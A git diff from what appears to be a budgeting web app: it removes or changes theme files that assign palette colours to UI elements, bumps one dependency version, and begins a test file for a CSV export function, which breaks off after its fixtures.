export const tableRowBackgroundHighlight = colorPalette.purple800;
export const tableRowBackgroundHighlightText = colorPalette.navy150;
export const tableRowHeaderBackground = colorPalette.navy700;
export const tableRowHeaderText = colorPalette.navy150;
export const numberPositive = colorPalette.green300;
export const numberNegative = colorPalette.red200;
export const numberNeutral = colorPalette.navy500;
export const budgetNumberNegative = numberNegative;
export const budgetNumberZero = tableTextSubdued;
export const budgetNumberNeutral = tableText;
export const budgetNumberPositive = budgetNumberNeutral;
export const templateNumberFunded = numberPositive;
export const templateNumberUnderFunded = colorPalette.orange300;
export const toBudgetPositive = numberPositive;
export const toBudgetZero = numberPositive;
export const toBudgetNegative = budgetNumberNegative;
export const sidebarBackground = colorPalette.navy900;
export const sidebarItemBackgroundPending = colorPalette.orange200;
export const sidebarItemBackgroundPositive = colorPalette.green500;
export const sidebarItemBackgroundFailed = colorPalette.red300;
export const sidebarItemAccentSelected = colorPalette.purple200;
export const sidebarItemBackgroundHover = colorPalette.navy700;
export const sidebarItemText = colorPalette.navy150;
export const sidebarItemTextSelected = colorPalette.purple200;
export const sidebarBudgetName = colorPalette.navy300;
export const menuBackground = colorPalette.navy800;
export const menuItemBackground = colorPalette.navy800;
export const menuItemBackgroundHover = colorPalette.navy500;
export const menuItemText = colorPalette.navy100;
export const menuItemTextHover = colorPalette.navy50;
export const menuItemTextSelected = colorPalette.purple400;
export const menuItemTextHeader = colorPalette.purple200;
export const menuBorder = colorPalette.navy900;
export const menuBorderHover = colorPalette.purple400;
export const menuKeybindingText = colorPalette.purple200;
export const menuAutoCompleteBackground = colorPalette.navy900;
export const menuAutoCompleteBackgroundHover = colorPalette.navy600;
export const menuAutoCompleteText = colorPalette.navy200;
export const menuAutoCompleteTextHeader = colorPalette.purple200;
export const menuAutoCompleteItemText = menuItemText;
export const modalBackground = colorPalette.gray800;
export const modalBorder = colorPalette.navy600;
export const mobileHeaderBackground = colorPalette.purple800;
export const mobileHeaderText = colorPalette.navy150;
export const mobileHeaderTextSubdued = colorPalette.gray200;
export const mobileHeaderTextHover = 'rgba(200, 200, 200, .15)';
export const mobilePageBackground = colorPalette.navy700;
export const mobileNavBackground = colorPalette.navy800;
export const mobileNavItem = colorPalette.navy150;
export const mobileNavItemSelected = colorPalette.purple400;
export const mobileAccountShadow = cardShadow;
export const mobileAccountText = colorPalette.blue800;
export const mobileTransactionSelected = colorPalette.purple400;
// Mobile view themes (for the top bar)
export const mobileViewTheme = mobileHeaderBackground;
export const mobileConfigServerViewTheme = colorPalette.purple500;
export const markdownNormal = colorPalette.purple700;
export const markdownDark = colorPalette.purple500;
export const markdownLight = colorPalette.purple800;
// Button
export const buttonMenuText = colorPalette.navy200;
export const buttonMenuTextHover = buttonMenuText;
export const buttonMenuBackground = 'transparent';
export const buttonMenuBackgroundHover = 'rgba(200, 200, 200, .25)';
export const buttonMenuBorder = colorPalette.navy500;
export const buttonMenuSelectedText = colorPalette.green800;
export const buttonMenuSelectedTextHover = colorPalette.orange800;
export const buttonMenuSelectedBackground = colorPalette.orange200;
export const buttonMenuSelectedBackgroundHover = colorPalette.orange300;
export const buttonMenuSelectedBorder = buttonMenuSelectedBackground;
export const buttonPrimaryText = colorPalette.white;
export const buttonPrimaryTextHover = buttonPrimaryText;
export const buttonPrimaryBackground = colorPalette.purple400;
export const buttonPrimaryBackgroundHover = colorPalette.purple600;
export const buttonPrimaryBorder = buttonPrimaryBackground;
export const buttonPrimaryShadow = 'rgba(0, 0, 0, 0.6)';
export const buttonPrimaryDisabledText = colorPalette.navy700;
export const buttonPrimaryDisabledBackground = colorPalette.navy400;
export const buttonPrimaryDisabledBorder = buttonPrimaryDisabledBackground;
export const buttonNormalText = colorPalette.navy150;
export const buttonNormalTextHover = colorPalette.navy150;
export const buttonNormalBackground = colorPalette.navy800;
export const buttonNormalBackgroundHover = colorPalette.navy600;
export const buttonNormalBorder = colorPalette.navy300;
export const buttonNormalShadow = 'rgba(0, 0, 0, 0.4)';
export const buttonNormalSelectedText = colorPalette.white;
export const buttonNormalSelectedBackground = colorPalette.purple600;
export const buttonNormalDisabledText = colorPalette.navy500;
export const buttonNormalDisabledBackground = colorPalette.navy800;
export const buttonNormalDisabledBorder = colorPalette.navy500;
export const calendarText = colorPalette.navy50;
export const calendarBackground = colorPalette.navy900;
export const calendarItemText = colorPalette.navy150;
export const calendarItemBackground = colorPalette.navy800;
export const calendarSelectedBackground = buttonNormalSelectedBackground;
export const buttonBareText = buttonNormalText;
export const buttonBareTextHover = buttonNormalText;
export const buttonBareBackground = 'transparent';
export const buttonBareBackgroundHover = 'rgba(200, 200, 200, .3)';
export const buttonBareBackgroundActive = 'rgba(200, 200, 200, .5)';
export const buttonBareDisabledText = buttonNormalDisabledText;
export const buttonBareDisabledBackground = buttonBareBackground;
export const noticeBackground = colorPalette.green800;
export const noticeBackgroundLight = colorPalette.green900;
export const noticeBackgroundDark = colorPalette.green500;
export const noticeText = colorPalette.green300;
export const noticeTextLight = colorPalette.green500;
export const noticeTextDark = colorPalette.green150;
export const noticeTextMenu = colorPalette.green500;
export const noticeBorder = colorPalette.green800;
export const warningBackground = colorPalette.orange800;
export const warningText = colorPalette.orange300;
export const warningTextLight = colorPalette.orange500;
export const warningTextDark = colorPalette.orange100;
export const warningBorder = colorPalette.orange500;
export const errorBackground = colorPalette.red800;
export const errorText = colorPalette.red200;
export const errorTextDark = colorPalette.red150;
export const errorTextDarker = errorTextDark;
export const errorTextMenu = colorPalette.red200;
export const errorBorder = colorPalette.red500;
export const upcomingBackground = colorPalette.purple700;
export const upcomingText = colorPalette.purple100;
export const upcomingBorder = tableBorder;
export const formLabelText = colorPalette.purple150;
export const formLabelBackground = colorPalette.blue900;
export const formInputBackground = colorPalette.navy800;
export const formInputBackgroundSelected = colorPalette.navy700;
export const formInputBackgroundSelection = colorPalette.purple400;
export const formInputBorder = colorPalette.navy600;
export const formInputTextReadOnlySelection = colorPalette.navy800;
export const formInputBorderSelected = colorPalette.purple400;
export const formInputText = colorPalette.navy150;
export const formInputTextSelected = colorPalette.black;
export const formInputTextPlaceholder = colorPalette.navy150;
export const formInputTextPlaceholderSelected = colorPalette.navy100;
export const formInputTextSelection = colorPalette.navy800;
export const formInputShadowSelected = colorPalette.purple200;
export const formInputTextHighlight = colorPalette.purple400;
export const checkboxText = tableText;
export const checkboxBackgroundSelected = colorPalette.purple300;
export const checkboxBorderSelected = colorPalette.purple300;
export const checkboxShadowSelected = colorPalette.purple500;
export const checkboxToggleBackground = colorPalette.gray700;
export const checkboxToggleBackgroundSelected = colorPalette.purple300;
export const checkboxToggleDisabled = colorPalette.gray400;
export const pillBackground = colorPalette.navy800;
export const pillBackgroundLight = colorPalette.navy900;
export const pillText = colorPalette.navy200;
export const pillTextHighlighted = colorPalette.purple200;
export const pillBorder = colorPalette.navy700;
export const pillBorderDark = pillBorder;
export const pillBackgroundSelected = colorPalette.purple600;
export const pillTextSelected = colorPalette.navy150;
export const pillBorderSelected = colorPalette.purple400;
export const pillTextSubdued = colorPalette.navy500;
export const reportsRed = colorPalette.red300;
export const reportsBlue = colorPalette.blue400;
export const reportsGreen = colorPalette.green400;
export const reportsGray = colorPalette.gray400;
export const reportsLabel = pageText;
export const reportsInnerLabel = colorPalette.navy800;
export const reportsNumberPositive = numberPositive;
export const reportsNumberNegative = numberNegative;
export const reportsNumberNeutral = numberNeutral;
export const reportsChartFill = reportsNumberPositive;
export const noteTagBackground = colorPalette.purple700;
export const noteTagBackgroundHover = colorPalette.purple500;
export const noteTagDefault = colorPalette.purple700;
export const noteTagText = colorPalette.purple100;
export const budgetOtherMonth = colorPalette.navy900;
export const budgetCurrentMonth = tableBackground;
export const budgetHeaderOtherMonth = colorPalette.navy800;
export const budgetHeaderCurrentMonth = tableHeaderBackground;
export const floatingActionBarBackground = colorPalette.purple800;
export const floatingActionBarBorder = floatingActionBarBackground;
export const floatingActionBarText = colorPalette.navy150;
export const tooltipText = colorPalette.navy100;
export const tooltipBackground = colorPalette.navy800;
export const tooltipBorder = colorPalette.navy700;
export const calendarCellBackground = colorPalette.navy900;
export const overlayBackground = 'rgba(0, 0, 0, 0.3)';
// Chart colors - Qualitative scale (9 colors)
export const chartQual1 = colorPalette.chartQual1;
export const chartQual2 = colorPalette.chartQual2;
export const chartQual3 = colorPalette.chartQual3;
export const chartQual4 = colorPalette.chartQual4;
export const chartQual5 = colorPalette.chartQual5;
export const chartQual6 = colorPalette.chartQual6;
export const chartQual7 = colorPalette.chartQual7;
export const chartQual8 = colorPalette.chartQual8;
export const chartQual9 = colorPalette.chartQual9;

View File

@@ -1,251 +0,0 @@
import * as colorPalette from '#style/palette';
export const pageBackground = colorPalette.navy100;
export const pageBackgroundModalActive = colorPalette.navy200;
export const pageBackgroundTopLeft = colorPalette.navy100;
export const pageBackgroundBottomRight = colorPalette.blue150;
export const pageBackgroundLineTop = colorPalette.white;
export const pageBackgroundLineMid = colorPalette.navy100;
export const pageBackgroundLineBottom = colorPalette.blue150;
export const pageText = '#272630';
export const pageTextLight = colorPalette.navy500;
export const pageTextSubdued = colorPalette.navy300;
export const pageTextDark = colorPalette.navy800;
export const pageTextPositive = colorPalette.purple600;
export const pageTextLink = colorPalette.blue600;
export const pageTextLinkLight = colorPalette.blue300;
export const cardBackground = colorPalette.white;
export const cardBorder = colorPalette.purple700;
export const cardShadow = colorPalette.navy700;
export const tableBackground = colorPalette.white;
export const tableRowBackgroundHover = colorPalette.navy50;
export const tableText = pageText;
export const tableTextLight = colorPalette.navy400;
export const tableTextSubdued = colorPalette.navy100;
export const tableTextSelected = colorPalette.navy700;
export const tableTextHover = colorPalette.navy900;
export const tableTextInactive = colorPalette.navy500;
export const tableHeaderText = colorPalette.navy600;
export const tableHeaderBackground = colorPalette.white;
export const tableBorder = colorPalette.navy100;
export const tableBorderSelected = colorPalette.purple500;
export const tableBorderHover = colorPalette.purple400;
export const tableBorderSeparator = colorPalette.navy400;
export const tableRowBackgroundHighlight = colorPalette.blue150;
export const tableRowBackgroundHighlightText = colorPalette.navy700;
export const tableRowHeaderBackground = colorPalette.navy50;
export const tableRowHeaderText = colorPalette.navy800;
export const numberPositive = colorPalette.green700;
export const numberNegative = colorPalette.red500;
export const numberNeutral = colorPalette.navy100;
export const budgetNumberNegative = numberNegative;
export const budgetNumberZero = tableTextSubdued;
export const budgetNumberNeutral = tableText;
export const budgetNumberPositive = budgetNumberNeutral;
export const templateNumberFunded = numberPositive;
export const templateNumberUnderFunded = colorPalette.orange700;
export const toBudgetPositive = numberPositive;
export const toBudgetZero = numberPositive;
export const toBudgetNegative = budgetNumberNegative;
export const sidebarBackground = colorPalette.navy900;
export const sidebarItemBackgroundPending = colorPalette.orange200;
export const sidebarItemBackgroundPositive = colorPalette.green500;
export const sidebarItemBackgroundFailed = colorPalette.red300;
export const sidebarItemBackgroundHover = colorPalette.navy800;
export const sidebarItemAccentSelected = colorPalette.purple200;
export const sidebarItemText = colorPalette.navy150;
export const sidebarItemTextSelected = colorPalette.purple200;
export const sidebarBudgetName = colorPalette.navy150;
export const menuBackground = colorPalette.white;
export const menuItemBackground = colorPalette.navy50;
export const menuItemBackgroundHover = colorPalette.navy100;
export const menuItemText = colorPalette.navy900;
export const menuItemTextHover = menuItemText;
export const menuItemTextSelected = colorPalette.purple300;
export const menuItemTextHeader = colorPalette.navy400;
export const menuBorder = colorPalette.navy100;
export const menuBorderHover = colorPalette.purple100;
export const menuKeybindingText = colorPalette.navy400;
export const menuAutoCompleteBackground = colorPalette.navy900;
export const menuAutoCompleteBackgroundHover = colorPalette.navy600;
export const menuAutoCompleteText = colorPalette.white;
export const menuAutoCompleteTextHover = colorPalette.green150;
export const menuAutoCompleteTextHeader = colorPalette.orange150;
export const menuAutoCompleteItemTextHover = menuAutoCompleteText;
export const menuAutoCompleteItemText = menuAutoCompleteText;
export const modalBackground = colorPalette.white;
export const modalBorder = colorPalette.white;
export const mobileHeaderBackground = colorPalette.purple400;
export const mobileHeaderText = colorPalette.navy50;
export const mobileHeaderTextSubdued = colorPalette.gray200;
export const mobileHeaderTextHover = 'rgba(200, 200, 200, .15)';
export const mobilePageBackground = colorPalette.navy50;
export const mobileNavBackground = colorPalette.white;
export const mobileNavItem = colorPalette.gray300;
export const mobileNavItemSelected = colorPalette.purple500;
export const mobileAccountShadow = colorPalette.navy300;
export const mobileAccountText = colorPalette.blue800;
export const mobileTransactionSelected = colorPalette.purple500;
// Mobile view themes (for the top bar)
export const mobileViewTheme = mobileHeaderBackground;
export const mobileConfigServerViewTheme = colorPalette.purple500;
export const markdownNormal = colorPalette.purple150;
export const markdownDark = colorPalette.purple400;
export const markdownLight = colorPalette.purple100;
// Button
export const buttonMenuText = colorPalette.navy100;
export const buttonMenuTextHover = colorPalette.navy50;
export const buttonMenuBackground = 'transparent';
export const buttonMenuBackgroundHover = 'rgba(200, 200, 200, .25)';
export const buttonMenuBorder = colorPalette.navy500;
export const buttonMenuSelectedText = colorPalette.green800;
export const buttonMenuSelectedTextHover = colorPalette.orange800;
export const buttonMenuSelectedBackground = colorPalette.orange200;
export const buttonMenuSelectedBackgroundHover = colorPalette.orange300;
export const buttonMenuSelectedBorder = buttonMenuSelectedBackground;
export const buttonPrimaryText = colorPalette.white;
export const buttonPrimaryTextHover = buttonPrimaryText;
export const buttonPrimaryBackground = colorPalette.purple500;
export const buttonPrimaryBackgroundHover = colorPalette.purple300;
export const buttonPrimaryBorder = buttonPrimaryBackground;
export const buttonPrimaryShadow = 'rgba(0, 0, 0, 0.3)';
export const buttonPrimaryDisabledText = colorPalette.white;
export const buttonPrimaryDisabledBackground = colorPalette.navy300;
export const buttonPrimaryDisabledBorder = buttonPrimaryDisabledBackground;
export const buttonNormalText = colorPalette.navy900;
export const buttonNormalTextHover = buttonNormalText;
export const buttonNormalBackground = colorPalette.white;
export const buttonNormalBackgroundHover = buttonNormalBackground;
export const buttonNormalBorder = colorPalette.navy150;
export const buttonNormalShadow = 'rgba(0, 0, 0, 0.2)';
export const buttonNormalSelectedText = colorPalette.white;
export const buttonNormalSelectedBackground = colorPalette.blue600;
export const buttonNormalDisabledText = colorPalette.navy300;
export const buttonNormalDisabledBackground = buttonNormalBackground;
export const buttonNormalDisabledBorder = buttonNormalBorder;
export const calendarText = colorPalette.navy50;
export const calendarBackground = colorPalette.navy900;
export const calendarItemText = colorPalette.navy150;
export const calendarItemBackground = colorPalette.navy800;
export const calendarSelectedBackground = colorPalette.navy500;
export const buttonBareText = buttonNormalText;
export const buttonBareTextHover = buttonNormalText;
export const buttonBareBackground = 'transparent';
export const buttonBareBackgroundHover = 'rgba(100, 100, 100, .15)';
export const buttonBareBackgroundActive = 'rgba(100, 100, 100, .25)';
export const buttonBareDisabledText = buttonNormalDisabledText;
export const buttonBareDisabledBackground = buttonBareBackground;
export const noticeBackground = colorPalette.green150;
export const noticeBackgroundLight = colorPalette.green100;
export const noticeBackgroundDark = colorPalette.green500;
export const noticeText = colorPalette.green700;
export const noticeTextLight = colorPalette.green500;
export const noticeTextDark = colorPalette.green900;
export const noticeTextMenu = colorPalette.green200;
export const noticeBorder = colorPalette.green500;
export const warningBackground = colorPalette.orange200;
export const warningText = colorPalette.orange700;
export const warningTextLight = colorPalette.orange500;
export const warningTextDark = colorPalette.orange900;
export const warningBorder = colorPalette.orange500;
export const errorBackground = colorPalette.red100;
export const errorText = colorPalette.red500;
export const errorTextDark = colorPalette.red700;
export const errorTextDarker = colorPalette.red900;
export const errorTextMenu = colorPalette.red200;
export const errorBorder = colorPalette.red500;
export const upcomingBackground = colorPalette.purple100;
export const upcomingText = colorPalette.purple700;
export const upcomingBorder = colorPalette.purple500;
export const formLabelText = colorPalette.blue600;
export const formLabelBackground = colorPalette.blue200;
export const formInputBackground = colorPalette.navy50;
export const formInputBackgroundSelected = colorPalette.white;
export const formInputBackgroundSelection = colorPalette.purple500;
export const formInputBorder = colorPalette.navy150;
export const formInputTextReadOnlySelection = colorPalette.navy50;
export const formInputBorderSelected = colorPalette.purple500;
export const formInputText = colorPalette.navy900;
export const formInputTextSelected = colorPalette.navy50;
export const formInputTextPlaceholder = colorPalette.navy300;
export const formInputTextPlaceholderSelected = colorPalette.navy200;
export const formInputTextSelection = colorPalette.navy100;
export const formInputShadowSelected = colorPalette.purple300;
export const formInputTextHighlight = colorPalette.purple200;
export const checkboxText = tableBackground;
export const checkboxBackgroundSelected = colorPalette.blue500;
export const checkboxBorderSelected = colorPalette.blue500;
export const checkboxShadowSelected = colorPalette.blue300;
export const checkboxToggleBackground = colorPalette.gray400;
export const checkboxToggleBackgroundSelected = colorPalette.purple600;
export const checkboxToggleDisabled = colorPalette.gray200;
export const pillBackground = colorPalette.navy150;
export const pillBackgroundLight = colorPalette.navy50;
export const pillText = colorPalette.navy800;
export const pillTextHighlighted = colorPalette.purple600;
export const pillBorder = colorPalette.navy150;
export const pillBorderDark = colorPalette.navy300;
export const pillBackgroundSelected = colorPalette.blue150;
export const pillTextSelected = colorPalette.blue900;
export const pillBorderSelected = colorPalette.purple500;
export const pillTextSubdued = colorPalette.navy200;
export const reportsRed = colorPalette.red300;
export const reportsBlue = colorPalette.blue400;
export const reportsGreen = colorPalette.green400;
export const reportsGray = colorPalette.gray400;
export const reportsLabel = colorPalette.navy900;
export const reportsInnerLabel = colorPalette.navy800;
export const reportsNumberPositive = numberPositive;
export const reportsNumberNegative = numberNegative;
export const reportsNumberNeutral = numberNeutral;
export const reportsChartFill = reportsNumberPositive;
export const noteTagBackground = colorPalette.purple125;
export const noteTagBackgroundHover = colorPalette.purple150;
export const noteTagDefault = colorPalette.purple125;
export const noteTagText = colorPalette.black;
export const budgetCurrentMonth = tableBackground;
export const budgetOtherMonth = colorPalette.gray50;
export const budgetHeaderCurrentMonth = budgetOtherMonth;
export const budgetHeaderOtherMonth = colorPalette.gray80;
export const floatingActionBarBackground = colorPalette.purple400;
export const floatingActionBarBorder = floatingActionBarBackground;
export const floatingActionBarText = colorPalette.navy50;
export const tooltipText = colorPalette.navy900;
export const tooltipBackground = colorPalette.white;
export const tooltipBorder = colorPalette.navy150;
export const calendarCellBackground = colorPalette.navy100;
export const overlayBackground = 'rgba(0, 0, 0, 0.3)';
// Chart colors - Qualitative scale (9 colors)
export const chartQual1 = colorPalette.chartQual1;
export const chartQual2 = colorPalette.chartQual2;
export const chartQual3 = colorPalette.chartQual3;
export const chartQual4 = colorPalette.chartQual4;
export const chartQual5 = colorPalette.chartQual5;
export const chartQual6 = colorPalette.chartQual6;
export const chartQual7 = colorPalette.chartQual7;
export const chartQual8 = colorPalette.chartQual8;
export const chartQual9 = colorPalette.chartQual9;

View File

@@ -1,251 +0,0 @@
import * as colorPalette from '#style/palette';
export const pageBackground = colorPalette.gray600;
export const pageBackgroundModalActive = colorPalette.gray700;
export const pageBackgroundTopLeft = colorPalette.gray800;
export const pageBackgroundBottomRight = colorPalette.gray700;
export const pageBackgroundLineTop = colorPalette.purple300;
export const pageBackgroundLineMid = colorPalette.gray900;
export const pageBackgroundLineBottom = colorPalette.gray150;
export const pageText = colorPalette.gray100;
export const pageTextLight = colorPalette.gray200;
export const pageTextSubdued = colorPalette.gray400;
export const pageTextDark = colorPalette.gray100;
export const pageTextPositive = colorPalette.purple200;
export const pageTextLink = colorPalette.purple300;
export const pageTextLinkLight = colorPalette.purple300;
export const cardBackground = colorPalette.gray800;
export const cardBorder = colorPalette.purple300;
export const cardShadow = colorPalette.gray900;
export const tableBackground = colorPalette.gray800;
export const tableRowBackgroundHover = colorPalette.gray500;
export const tableText = colorPalette.gray150;
export const tableTextLight = tableText;
export const tableTextSubdued = colorPalette.gray500;
export const tableTextSelected = colorPalette.gray800;
export const tableTextHover = colorPalette.gray400;
export const tableTextInactive = colorPalette.gray400;
export const tableHeaderText = colorPalette.gray200;
export const tableHeaderBackground = colorPalette.gray900;
export const tableBorder = colorPalette.gray600;
export const tableBorderSelected = colorPalette.purple400;
export const tableBorderHover = colorPalette.purple300;
export const tableBorderSeparator = colorPalette.gray400;
export const tableRowBackgroundHighlight = colorPalette.purple150;
export const tableRowBackgroundHighlightText = colorPalette.gray800;
export const tableRowHeaderBackground = colorPalette.gray700;
export const tableRowHeaderText = colorPalette.gray150;
export const numberPositive = colorPalette.green300;
export const numberNegative = colorPalette.red200;
export const numberNeutral = colorPalette.gray500;
export const budgetNumberNegative = numberNegative;
export const budgetNumberZero = tableTextSubdued;
export const budgetNumberNeutral = tableText;
export const budgetNumberPositive = budgetNumberNeutral;
export const templateNumberFunded = numberPositive;
export const templateNumberUnderFunded = colorPalette.orange200;
export const toBudgetPositive = numberPositive;
export const toBudgetZero = numberPositive;
export const toBudgetNegative = budgetNumberNegative;
export const sidebarBackground = colorPalette.gray900;
export const sidebarItemBackgroundPending = colorPalette.orange200;
export const sidebarItemBackgroundPositive = colorPalette.green400;
export const sidebarItemBackgroundFailed = colorPalette.red300;
export const sidebarItemAccentSelected = colorPalette.purple200;
export const sidebarItemBackgroundHover = colorPalette.gray700;
export const sidebarItemText = colorPalette.gray100;
export const sidebarItemTextSelected = colorPalette.purple200;
export const sidebarBudgetName = colorPalette.gray300;
export const menuBackground = colorPalette.gray700;
export const menuItemBackground = colorPalette.gray200;
export const menuItemBackgroundHover = colorPalette.gray500;
export const menuItemText = colorPalette.gray100;
export const menuItemTextHover = colorPalette.gray50;
export const menuItemTextSelected = colorPalette.purple400;
export const menuItemTextHeader = colorPalette.purple200;
export const menuBorder = colorPalette.gray800;
export const menuBorderHover = colorPalette.purple300;
export const menuKeybindingText = colorPalette.purple200;
export const menuAutoCompleteBackground = colorPalette.gray600;
export const menuAutoCompleteBackgroundHover = colorPalette.gray500;
export const menuAutoCompleteText = colorPalette.gray100;
export const menuAutoCompleteTextHover = colorPalette.green400;
export const menuAutoCompleteTextHeader = colorPalette.purple200;
export const menuAutoCompleteItemTextHover = colorPalette.gray50;
export const menuAutoCompleteItemText = menuItemText;
export const modalBackground = colorPalette.gray700;
export const modalBorder = colorPalette.gray200;
export const mobileHeaderBackground = colorPalette.gray900;
export const mobileHeaderText = colorPalette.purple200;
export const mobileHeaderTextSubdued = colorPalette.gray200;
export const mobileHeaderTextHover = 'rgba(200, 200, 200, .15)';
export const mobilePageBackground = colorPalette.gray900;
export const mobileNavBackground = colorPalette.gray600;
export const mobileNavItem = colorPalette.gray150;
export const mobileNavItemSelected = colorPalette.purple200;
export const mobileAccountShadow = cardShadow;
export const mobileAccountText = colorPalette.blue800;
export const mobileTransactionSelected = colorPalette.purple300;
// Mobile view themes (for the top bar)
export const mobileViewTheme = mobileHeaderBackground;
export const mobileConfigServerViewTheme = colorPalette.purple500;
export const markdownNormal = colorPalette.purple700;
export const markdownDark = colorPalette.purple500;
export const markdownLight = colorPalette.purple800;
// Button
export const buttonMenuText = colorPalette.gray200;
export const buttonMenuTextHover = buttonMenuText;
export const buttonMenuBackground = colorPalette.gray700;
export const buttonMenuBackgroundHover = 'rgba(200, 200, 200, .25)';
export const buttonMenuBorder = colorPalette.gray500;
export const buttonMenuSelectedText = colorPalette.green800;
export const buttonMenuSelectedTextHover = colorPalette.orange800;
export const buttonMenuSelectedBackground = colorPalette.orange200;
export const buttonMenuSelectedBackgroundHover = colorPalette.gray300;
export const buttonMenuSelectedBorder = buttonMenuSelectedBackground;
export const buttonPrimaryText = colorPalette.white;
export const buttonPrimaryTextHover = buttonPrimaryText;
export const buttonPrimaryBackground = colorPalette.purple300;
export const buttonPrimaryBackgroundHover = buttonPrimaryBackground;
export const buttonPrimaryBorder = buttonPrimaryBackground;
export const buttonPrimaryShadow = 'rgba(0, 0, 0, 0.6)';
export const buttonPrimaryDisabledText = colorPalette.gray400;
export const buttonPrimaryDisabledBackground = colorPalette.gray700;
export const buttonPrimaryDisabledBorder = buttonPrimaryDisabledBackground;
export const buttonNormalText = colorPalette.gray150;
export const buttonNormalTextHover = colorPalette.gray150;
export const buttonNormalBackground = colorPalette.gray600;
export const buttonNormalBackgroundHover = colorPalette.gray400;
export const buttonNormalBorder = colorPalette.gray300;
export const buttonNormalShadow = 'rgba(0, 0, 0, 0.4)';
export const buttonNormalSelectedText = colorPalette.white;
export const buttonNormalSelectedBackground = colorPalette.purple500;
export const buttonNormalDisabledText = colorPalette.gray400;
export const buttonNormalDisabledBackground = colorPalette.gray700;
export const buttonNormalDisabledBorder = colorPalette.gray500;
export const calendarText = colorPalette.gray50;
export const calendarBackground = colorPalette.gray700;
export const calendarItemText = colorPalette.gray150;
export const calendarItemBackground = colorPalette.gray500;
export const calendarSelectedBackground = buttonNormalSelectedBackground;
export const buttonBareText = buttonNormalText;
export const buttonBareTextHover = buttonNormalText;
export const buttonBareBackground = 'transparent';
export const buttonBareBackgroundHover = 'rgba(200, 200, 200, .3)';
export const buttonBareBackgroundActive = 'rgba(200, 200, 200, .5)';
export const buttonBareDisabledText = buttonNormalDisabledText;
export const buttonBareDisabledBackground = buttonBareBackground;
export const noticeBackground = colorPalette.green600;
export const noticeBackgroundLight = colorPalette.green900;
export const noticeBackgroundDark = colorPalette.green400;
export const noticeText = colorPalette.green300;
export const noticeTextLight = colorPalette.green400;
export const noticeTextDark = colorPalette.green150;
export const noticeTextMenu = colorPalette.green400;
export const noticeTextMenuHover = colorPalette.green700;
export const noticeBorder = colorPalette.green800;
export const warningBackground = colorPalette.orange800;
export const warningText = colorPalette.orange200;
export const warningTextLight = colorPalette.orange500;
export const warningTextDark = colorPalette.orange100;
export const warningBorder = colorPalette.orange500;
export const errorBackground = colorPalette.red800;
export const errorText = colorPalette.red200;
export const errorTextDark = colorPalette.red150;
export const errorTextDarker = errorTextDark;
export const errorTextMenu = colorPalette.red200;
export const errorBorder = colorPalette.red500;
export const upcomingBackground = colorPalette.purple800;
export const upcomingText = colorPalette.purple200;
export const upcomingBorder = tableBorder;
export const formLabelText = colorPalette.purple150;
export const formLabelBackground = colorPalette.blue900;
export const formInputBackground = colorPalette.gray800;
export const formInputBackgroundSelected = colorPalette.gray700;
export const formInputBackgroundSelection = colorPalette.purple400;
export const formInputBorder = colorPalette.gray600;
export const formInputTextReadOnlySelection = colorPalette.gray800;
export const formInputBorderSelected = colorPalette.purple300;
export const formInputText = colorPalette.gray150;
export const formInputTextSelected = colorPalette.black;
export const formInputTextPlaceholder = colorPalette.gray150;
export const formInputTextPlaceholderSelected = colorPalette.gray100;
export const formInputTextSelection = colorPalette.gray800;
export const formInputShadowSelected = colorPalette.purple400;
export const formInputTextHighlight = colorPalette.purple200;
export const checkboxText = tableText;
export const checkboxBackgroundSelected = colorPalette.purple300;
export const checkboxBorderSelected = colorPalette.purple300;
export const checkboxShadowSelected = colorPalette.purple500;
export const checkboxToggleBackground = colorPalette.gray400;
export const checkboxToggleBackgroundSelected = colorPalette.purple300;
export const checkboxToggleDisabled = colorPalette.gray700;
export const pillBackground = colorPalette.gray500;
export const pillBackgroundLight = colorPalette.gray900;
export const pillText = colorPalette.gray200;
export const pillTextHighlighted = colorPalette.purple200;
export const pillBorder = colorPalette.gray500;
export const pillBorderDark = pillBorder;
export const pillBackgroundSelected = colorPalette.purple600;
export const pillTextSelected = colorPalette.gray150;
export const pillBorderSelected = colorPalette.purple300;
export const pillTextSubdued = colorPalette.gray500;
export const reportsRed = colorPalette.red300;
export const reportsBlue = colorPalette.blue400;
export const reportsGreen = colorPalette.green400;
export const reportsGray = colorPalette.gray400;
export const reportsLabel = pageText;
export const reportsInnerLabel = colorPalette.navy800;
export const reportsNumberPositive = numberPositive;
export const reportsNumberNegative = numberNegative;
export const reportsNumberNeutral = numberNeutral;
export const reportsChartFill = reportsNumberPositive;
export const noteTagBackground = colorPalette.purple800;
export const noteTagBackgroundHover = colorPalette.purple600;
export const noteTagDefault = colorPalette.purple700;
export const noteTagText = colorPalette.purple100;
export const budgetOtherMonth = colorPalette.gray700;
export const budgetCurrentMonth = tableBackground;
export const budgetHeaderOtherMonth = colorPalette.gray800;
export const budgetHeaderCurrentMonth = tableHeaderBackground;
export const floatingActionBarBackground = colorPalette.gray900;
export const floatingActionBarBorder = colorPalette.purple300;
export const floatingActionBarText = colorPalette.purple200;
export const tooltipText = colorPalette.gray100;
export const tooltipBackground = colorPalette.gray800;
export const tooltipBorder = colorPalette.gray600;
export const calendarCellBackground = colorPalette.navy900;
export const overlayBackground = 'rgba(0, 0, 0, 0.3)';
// Chart colors - Qualitative scale (9 colors)
export const chartQual1 = colorPalette.chartQual1;
export const chartQual2 = colorPalette.chartQual2;
export const chartQual3 = colorPalette.chartQual3;
export const chartQual4 = colorPalette.chartQual4;
export const chartQual5 = colorPalette.chartQual5;
export const chartQual6 = colorPalette.chartQual6;
export const chartQual7 = colorPalette.chartQual7;
export const chartQual8 = colorPalette.chartQual8;
export const chartQual9 = colorPalette.chartQual9;

View File

@@ -220,7 +220,7 @@
"ts-node": "^10.9.2",
"util": "^0.12.5",
"vite": "^8.0.5",
"vite-plugin-node-polyfills": "^0.26.0",
"vite-plugin-node-polyfills": "^0.27.0",
"vite-plugin-peggy-loader": "^2.0.1",
"vitest": "^4.1.2",
"yargs": "^18.0.0"

View File

@@ -0,0 +1,60 @@
import { parse as csvParse } from 'csv-parse/sync';
import { exportToCSV } from './export-to-csv';
describe('exportToCSV', () => {
const accounts = [{ id: 'a1', name: 'Checking' }];
const categoryGroups = [
{ name: 'Income', categories: [{ id: 'c1', name: 'Salary' }] },
];
function makeTransaction(overrides: Record<string, unknown> = {}) {
return {
account: 'a1',
date: '2026-01-01',
payee: 'p1',
notes: '',
category: 'c1',
amount: 10000,
cleared: false,
reconciled: false,
...overrides,
};
}
async function payeeCell(payeeName: string, amount = 10000) {
const csv = await exportToCSV(
[makeTransaction({ amount })],
accounts,
categoryGroups,
[{ id: 'p1', name: payeeName }],
);
